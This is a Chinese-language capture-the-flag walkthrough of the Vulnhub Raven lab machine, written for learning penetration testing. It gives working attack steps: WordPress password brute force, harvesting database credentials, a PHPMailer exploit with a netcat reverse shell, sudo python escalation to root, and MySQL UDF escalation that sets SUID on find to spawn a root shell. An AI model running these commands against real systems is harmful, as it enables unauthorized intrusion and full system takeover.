该篇为Vulnhub系列靶机渗透,本次靶机存在4个flag。下面开始我们今天的渗透之旅。Raven靶机有很多种思路,我将对其进行一一整理。
首先进行信息收集,利用arp-scan和nmap,进行靶机的ip及端口扫描
发现了22、80、111端口。下面访问80端口,在页面上一顿收集后,发现在services处,查看源代码发现了flag1。
flag1{b9bbcb33e11b80be759c4e844862482d}
下一步,继续进行信息收集,发现在blog处,是一个wordpress的框架,同时经过目录爆破发现了相关的路径
这边的/vendor/目录为wordpress的默认目录
下一步进行wordpress的信息枚举。发现了两个用户
用户:steven、michael,利用kali自带的密码本进行爆破,这里爆破时间特别长,但是还是爆破出来了
用户名:steven 密码为:pink84,进行登录后在/var/www/目录下发现了flag2.
接着在wordpress中进行信息收集,存在wp-config.php文件,该文件会存在一下配置的用户名和密码,例如数据库。果不其然,发现了数据库用户名和密码。
利用用户名和密码登录后,进行一番搜查,发现了这两个用户。同时在表wp_posts中发现了flag3和flag4,这就结束了?还没有提权呢。就可以看到flag4?
flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
不行不能这么就结束!
下面退出数据库,看看有没有什么提权方式,尝试用sudo -l,发现还真存在
这边的steven用户存在一个不用输密码的(All),使用python即可称为root,这也太easy了!
直接sudo python -c 'import pty;pty.spawn("/bin/bash")'
清清爽爽的获取了root,提权成功!
是不是以为完了~,NONONO,还有其他方法呢
回过头来,之前我们是爆破得到的密码,而且我亲试,时间特别久,那么有没有其他的方法getshell呢?在页面上一番搜索后发现了当初我们忽视的那个默认目录/vendor/,该目录下存在PATH,README,VERSION
在PATH中发现了路径,在README中发现了PHPmailer,在Version中发现了版本
在本地漏洞库中查询,查到了相应的exp
然后将其复制到本地查看该怎么使用,将对应的位置进行修改
修改好之后,python 40974.py,然后再本地开启监听,nc -vlp 4567
在浏览器里输入刚才的的后门文件名,即可反弹shell
这样就获得了个shell,然后利用python进行改造,变为交互式shell
然后下面的操作就像之前那样了,获取数据库用户名和密码,但是在提权上,换一种提权方式,利用mysql的UDF提权。
如果想用UDF提权,有三个条件,第一个为mysql root用户登录,第二个mysql的版本在5.几,第三个就是查看mysql底层是否允许udf提权,输入
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
下面查看下是否在上面说到的目录下:
show variables like '%plugin%';
在kali本地漏洞库中查找,udf的exp
将1518.c复制到项目里,编译,然后开启web服务,在shell里进入/tmp目录下进行下载
然后再次编译一下,生成个.so文件
gcc -g -shared -o xiaoli.so 1518.o -lc
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
下一步进入mysql,进到mysql的数据库,show tables;然后重新创建一个表,我这里创建的xiaoli
接下来要给xiaoli的表中插入之前下载的xiaoli.so的恶意文件
insert into xiaoli values(load_file('/tmp/xiaoli.so'));
显示插入成功!
然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'xiaoli.so';
查看以下创建的函数:
select * from mysql.func;
创建成功!
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
执行find命令
使用find执行 shell
touch xiaoli
find xiaoli -exec "/bin/sh" \;或者:find xiaoli -exec "id" \;
cd /root
获取了root权限,进到root目录下发现了flag4
两种不同的getshell的方式,两种不同提权的方式,渗透需要灵活的思路,需要想尽办法不断地尝试,才会有意想不到的后果,总体该靶机可玩性还是特别高的,可以回顾mysql的提权,巩固操作。
每天学习一丢丢,进步一丢丢~